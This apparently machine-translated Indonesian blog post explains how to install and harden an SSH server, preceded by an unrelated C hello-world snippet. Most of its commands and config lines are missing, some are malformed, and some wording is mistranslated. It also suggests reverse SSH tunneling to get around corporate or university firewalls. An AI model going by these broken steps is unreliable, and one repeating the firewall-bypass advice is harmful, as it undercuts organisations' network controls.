int main(int argc, char *argv[])
{
 printf("First C program !!\n");
 return 0;
}

First C program !!

Menginstall dan konfigurasi ssh server

Apa itu SSH?

Jadi apa yang SSH dan mengapa saya harus peduli? Yah, SSH singkatan dari secure shell dan merupakan cara untuk terhubung ke mesin remote. SSH *nix sangat populer di kalangan pengguna karena keduanya dapat diandalkan, aman, dan mudah beradaptasi. SSH juga mudah untuk menginstal dan cukup lurus ke depan.

-Mengapa SSH?
Tidak seperti FTP dan SSH protokol lain yang aman, semua transaksi akan dienkripsi sehingga mereka tidak dapat disniffing. Tidak seperti SSH FTP username / password kombinasi tidak dikirim dalam bentuk teks. SSH telah dienkripsi dari awal. Hal ini penting karena banyak pengembang web akan sering menggunakan FTP untuk mentransfer file ke server mereka tidak tahu bahwa seseorang dapat dengan mudah meng-sniffing jaringan untuk password mereka. Dengan SSH dengan program seperti scp dan jauh lebih aman sshfs cara untuk mentransfer file ke remote mesin.

Cara mendapatkan / konfigurasi

Banyak distribusi akan datang dengan klien SSH terinstal secara default. Untuk mendapatkan server pada distro berbasis Debian yang dapat Anda lakukan:

Pengguna arch dapat menginstal server / klien dengan:

Konfigurasi SSH Server

Banyak kali distro untuk konfigurasi default SSH akan bekerja, tapi saya sarankan Anda membuat beberapa perubahan. Biasanya file config adalah dalam: ‘/etc/ssh/sshd_config’

Membuat ssh lebih aman

Seperti semua servis mendengarkan pada port terbuka. ada risiko. Berikut adalah beberapa perubahan konfigurasi yang dapat Anda buat untuk mengurangi beberapa risiko:

Nonaktifkan SSH protokol 1

Perubahan pertama saya akan membuat adalah untuk menonaktifkan SSH usang dari 1 protokol terhubung ke server. Protokol ini hampir tidak pernah digunakan dalam klien SSH modern lagi karena manusia rentan terhadap serangan di tengah. Untuk memastikan bahwa tidak ada klien SSH yang Anda gunakan jatuh kembali ke protokol ini yang terbaik adalah kita nonaktifkan.

Tambahkan AllowUsers Tag

Secara default server SSH sering ditetapkan untuk memungkinkan semua pengguna untuk mengakses dari jarak jauh. Hal ini lebih aman untuk menentukan pengguna mana yang kita akan memberikan akses ke sistem ini. Hal ini sangat berguna untuk kondisi multiuser mesin, namun bahkan satu mesin pengguna bisa mendapatkan keuntungan dari tag ini sebagai generik account pengguna dapat secara tidak sengaja diciptakan.

Hanya dengan tambahkan baris ini pada konfigurasi anda:

Dimana (namapengguna1) dan (namapengguna2) adalah username yang diizinkan meremote akses ssh

Nonaktifkan (disable) Root Login

SSH brute force serangan sering mengandalkan username ‘root‘. Dengan tidak menonaktifkan root login Anda memberikan penyerang setengah informasi yang mereka butuhkan untuk mendapatkan akses. Mereka sudah tahu username semua yang mereka perlu lakukan adalah menebak password yang benar. Lebih baik untuk menjaga hal yag terduga.

Bagaimana jika saya perlu melakukan sesuatu sebagai root?
Menonaktifkan login root hanya mencegah login awal menjadi root.
Anda masih dapat beralih user untuk root atau menggunakan sudo pernah dikonfirmasi dengan user biasa.

Untuk menonaktifkan login root pastikan anda telah mengatur ini:

Kunci otentikasi berbasis (Key based authentication)

Langkah pertama adalah untuk membuat kunci (key) pada mesin lokal.

Untuk membuat key RSA lakukan (Anda juga dapat melakukan DSA):

• ssh-keygen-t rsa

Maka anda perlu menyalin kunci publik ke server jauh dengan melakukan:

Atau Anda dapat melakukannya dengan cara lama:

Nonaktifkan password autentikasi (Disable password authentication)

Setelah Anda telah berhasil diuji otentikasi berbasis kunci Anda Anda dapat menonaktifkan otentikasi berbasis password.
Hal ini menjamin bahwa semua upaya akses SSH harus mengotentikasi dengan kunci bukan sandi.
Ini semua menghilangkan serangan skrip otomatis terhadap SSH.

Mengubah port default

Baris pertama pertahanan untuk menggagalkan skrip otomatis adalah dengan hanya mengubah port default SSH server Anda. Ini keamanan melalui ketidakjelasan. Ada beberapa cara untuk mendeteksi SSH pada semua port tetapi memindahkan port ssh server Anda dapat secara drastis mengurangi spam ditolak login di log Anda.

Hanya mengubah port ke sesuatu yang lain seperti:
Port 223

Port knocking

Port knocking adalah cara yang bagus untuk membuka port secara remote dengan mengirim urutan tertentu atau “ketukan” ke server jauh.
Setelah ketukan yang benar dikirim, server akan membuka port ke alamat IP tertentu.

hosts.deny/allow

Berikut adalah beberapa aturan umum untuk menolak / mengizinkan akses SSH dengan menggunakan host file.
Biarkan semua orang terhubung dengan Anda.

ATAU Anda dapat membatasi untuk ip tertentu

ATAU membatasi untuk rentang IP (IP range)

ATAU membatasi dengan mencocokan IP (IP matching)

• sshd: 192.168.1.

Personalisasi SSH

Saya ingin menambahkan sentuhan pribadi pada pesan SSH hari ini, (motd -  message of the day) .
Saya biasanya akan menambahkan nama server dan beberapa rincian lainnya.
Ini akan membantu membedakan yang menghubungkan server saya ketika saya menemukan diri saya sendiri melakukan koneksi ke semua jenis server sepanjang hari.

Biasanya saya menggunakan program yang disebut, ‘figlet‘ untuk menampilkan nama server saya.
Figlet adalah sebuah aplikasi yang akan mengkonversi teks ke ascii seni dalam berbagai font.

Mengakses SSH dari Dunia Luar

Sekarang bahwa Anda memiliki SSH Anda dan berjalan dan Anda dapat berhasil tersambung ke komputer lain di rumah Anda sudah waktunya untuk mendapatkannya terhubung ke internet untuk remote akses. Jika Anda tidak di belakang NAT Anda mungkin sudah ditetapkan dan bagian ini tidak berlaku untuk Anda, namun sekarang kebanyakan orang di belakang NAT semacam firewall yang membatasi panggilan masuk lalu lintas ke port tertentu kecuali Anda melakukan port forwarding.

Karena terdapat banyak jenis router saya tidak dapat memberikan rincian tentang bagaimana anda pergi tentang port forwarding, namun, ada situs Web yang memiliki hampir setiap router dibayangkan dengan petunjuk tentang cara men-setup port forwarding, portforward.com.

Banyak dari Anda juga akan memiliki alamat IP yang berubah (dinamis).
Hal ini membuat koneksi ke server jauh yang sangat sulit seperti yang Anda perlu tahu apa alamat IP.
Untungnya, ada layanan gratis seperti DynDNS yang akan memberi Anda statis nama domain yang akan diperbarui setiap kali IP berubah.

Bagaimana jika saya terjebak di belakang sebuah perusahaan / universitas firewall dan tidak bisa port forwarding?
Jangan takut, Anda dapat melewati dengan reverse SSH tunneling, tetapi untuk melakukan ini, Anda akan memerlukan komputer yang tengah menjalankan SSH kepada publik.
Ini juga bagaimana layanan seperti, “Go to my pc” bekerja di belakang firewall.

February 1, 2010 | Categories: linux | Tags: account, akses, bagaimana, konfigurasi, linux, remote, shell, ssh | 1 Comment »